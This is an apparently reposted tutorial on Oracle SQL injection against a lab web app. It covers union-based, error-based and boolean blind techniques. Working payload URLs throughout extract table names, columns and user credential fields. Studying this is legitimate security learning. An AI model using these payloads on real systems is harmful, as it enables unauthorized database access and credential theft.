Home > Database > Oracle > body text

Teach you step by step to completely master the small details of Oracle injection

WBOY
Release: 2022-01-21 18:23:36
forward
2452 people have browsed it

This article brings you relevant knowledge about Oracle injection, including the basic steps of injection and error reporting. I hope it will be helpful to everyone.

Teach you step by step to completely master the small details of Oracle injection

1. Oracle’s basic skills for obtaining data

1. Special table

• dual table

◆ It is a virtual table used to form the syntax rules of select. Oracle guarantees that there will always be only one record in dual.

• user_tables table

◆ The table_name column of this table stores all tables in the current database.

• user_tab_columns table

◆The column_name of this table stores all the columns of the table.

2. Oracle query needs to bring the table name

• For example, select * from xxx (there is a universal table: dual table).

3. If a single row subquery returns multiple rows, you need to use where rownum=1 to standardize it

• rownum is a pseudo-sequence number, always starting from 1.

• The order in which Oracle database reads data from data files or buffers.

• When it obtains the first record, the rownum value is 1, the second record is 2, and so on.

4. Some basic built-in functions needed for subsequent injection

1. length() usage:

length(char): return The length of the string.

2. COUNT(*) Usage:

The COUNT(*) function returns the number of rows selected in a given selection.

3. ascii() usage:

ascii(char) means converting characters into ASCII codes.

4. SUBSTR usage:

SUBSTR(source string, search starting position, [length]) The return value is the specified starting position in the source string and The length of the string.

5. INSTR usage:

INSTR (source string, string to be found, starting from which character, which matching sequence number to find ) returns the found position, or 0 if not found. The default search order is from left to right. When the starting position is a negative number, the search starts from the right. If the starting position is 0, the return value is 0.

There are also some functions that will be explained when used in subsequent articles.


2. Basic steps for each basic injection type

The environment is a simple web page of jsp Oracle on VMware with win2003 as the system.

1.oracle joint query injection

1.Find the injection point

This step is obvious in my experimental environment, but in In a real environment, you still need to find a suitable injection point. The basic step is to find the input box that interacts with the database, then determine the data type of the input box and the closing method of its data, and then add some judgment statements to check whether there is injection. .

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' or 1=2 --
Copy after login

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=2 --
Copy after login

After manually adding a piece of data, by constructing different payloads, we found that the URL has an injection vulnerability. We The input payload achieved its effect.

3. Determine the number of columns

Oracle database also uses order by to determine the number of columns in the query data table. Order by must be the column of the select -list expression. Number, in a real environment, the number of columns of a table may be large, so it is best to use the dichotomy method in judging the number of columns.

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' order by 3 --
Copy after login

The page is normal when order by 3, but an error occurs when order by 4, so the number of columns in the query table is 3

4.Oracle联合查询

  跟之前的学习的MySQL以及SQL server一样,Oracle同样通过union 来实现联合查询注入,并且不用跟SQL server联合查询注入一样添加all,仅只用union就行,但是依旧要跟SQL server联合查询注入一样判断后续各列的数据类型。

  接下里我们首先查看回显位

http://10.1.5.34:8080/SqlInjection/selcet? union select null,null,null from dual --
Copy after login

  因为在Oracle数据库中的select查询语句必须跟上查询列表,所以在union后面的select查询语句我们必须跟上from dual ,dual表是Oracle数据库中自带的虚拟表,可当万能用。

  我们看到三个列全部会回显在页面上

  下面我们还要通过更改null判断各个回显位的数据类型

http://10.1.5.34:8080/SqlInjection/selcet? union select '1',null,null from dual --
Copy after login

 判断出1号位的数据类型位字符型,接下来我们就可以通过构造不同的payload替换'1',来查询到我们想要的数据

select user from dual 获取用户名

http://10.1.5.34:8080/SqlInjection/selcet? union select user,null,null from dual --
Copy after login

select banner from sys.v_$version where rownum=1 获取版本

http://10.1.5.34:8080/SqlInjection/selcet? union select banner,null,null from sys.v_$version where rownum=1 --
Copy after login

 借助联合查询和默认表 user_tables获取当前数据库所有表名(第一行的)。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1--
Copy after login

 查看下一行表名

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1 and table_name<>'T_USER'--
Copy after login

没有其他的表,只有T_USER

如果可以显示多行数据,则可以通过以下代码查看到T-USER所有的列名,不能就只能通过跟上面类似的方法 用“<>”添加附加条件,去除已经查看到的数据然后查看下一行数据

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select column_name,null,null from user_tab_columns where table_name='T_USER'--
Copy after login

获取T_USER表中字段为SNAME、SUSER、SPWD,然后获得他们的值

因为之前判断过1,2,3号位都回显,且都为字符型,所以下面一次性查询,如果只有一个也可以一个一个的查询

10.1.5.34:8080/SqlInjection/selcet?sname=1' union select SNAME,SUSER,SPWD from T_USER--
Copy after login

获取数据

  因为靶场比较简陋,所以实验过程只是体现自己的注入思路,并不代表T_USER表中的东西就是后台账号之内的敏感数据,真实环境中,你查询的数据可以是任何你能查询到数据。

2.Oracle报错注入

1.寻找注入点

   当你发现你找到的注入点在输入错误数据会反弹数据库原始报错信息时,我们就可以使用报错注入。然后前面的步骤基本一致,都是先找注入点,然后分析闭合方式。

2.报错注入

Oracle报错注入——类型转换错误和报错函数。

payload:1=utl_inaddr.get_host_name((SQL语句))

查询结果: ORA-29257: 未知的主机 结果

10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --
Copy after login

T_USER即我们想要查询的表名,如果不止一个也可以通过上面联合查询注入中提到的方法,在sql语句中添加附加'<>'条件遍历表名。

跟联合查询用到的相同的语句查到接下来的列名,数据

下面我们可以用到一个函数来改变之前遍历每个数据的麻烦:sys.stragg()在单行中获取所有行信息。

10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select sys.stragg('~'||SUSER||'~') from T_USER))--
Copy after login

  ||是Oracle中的字符拼接符号,在以上payload使用的时候需要将其更改为%7C%7C,即它的url编码

  我们通过拼接其他符号以及sys,stragg()函数使我们能够清晰的分辨数据表中这个字段每一行的数据,在之前的联合查询注入同样可以使用到这个函数,省去遍历的麻烦

3.Oracle布尔盲注

1.寻找注入点

使用条件:HTTP返回包中没有执行结果的数据和报错信息。

当你发出你构造的payload时,页面并没有产生变化,即说明你的payload正确。

跟上面两种注入一样寻找注入点。

Oracle盲注核心——字符串截取函数、ascii转换函数、条件判断语句。

要注意的是在截断函数中长度是包含开始截取位置那一位的。

2.Oracle布尔盲注

步骤跟之前的顺序是一致的 拿表名-列名-数据,这里就不一一列举了,主要说重点。

我们在拿一个数据时,比如说表名,我们需要先判断他的长度

10.1.5.34:8080/SqlInjection/selcet?suser=&sname=1' and (select length(table_name) from user_tables where rownum=1)=6--
Copy after login

 我们可以先将=改为>或者<然后通过二分法逐步的缩小范围,最终确定表名一共有6位。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1&#39; and (select ascii(substr(table_name,1,1)) from user_tables where rownum=1)=84--
Copy after login

然后就用截取函数 先截取表名的第一个字符,然后转译为ascii码,同样可以通过>或者<逐渐缩小范围最终确定表名第一个字符ascii码为84 即为T,以此类推获得完整表名

如果会使用burpsuit的话,可以通过burpsuit暴力破解,设置截取位置以及等于号后面的数字来跑出表名。

所有数据均可使用同样的方法获取

推荐教程:《Oracle教程

The above is the detailed content of Teach you step by step to completely master the small details of Oracle injection. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:csdn.net
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template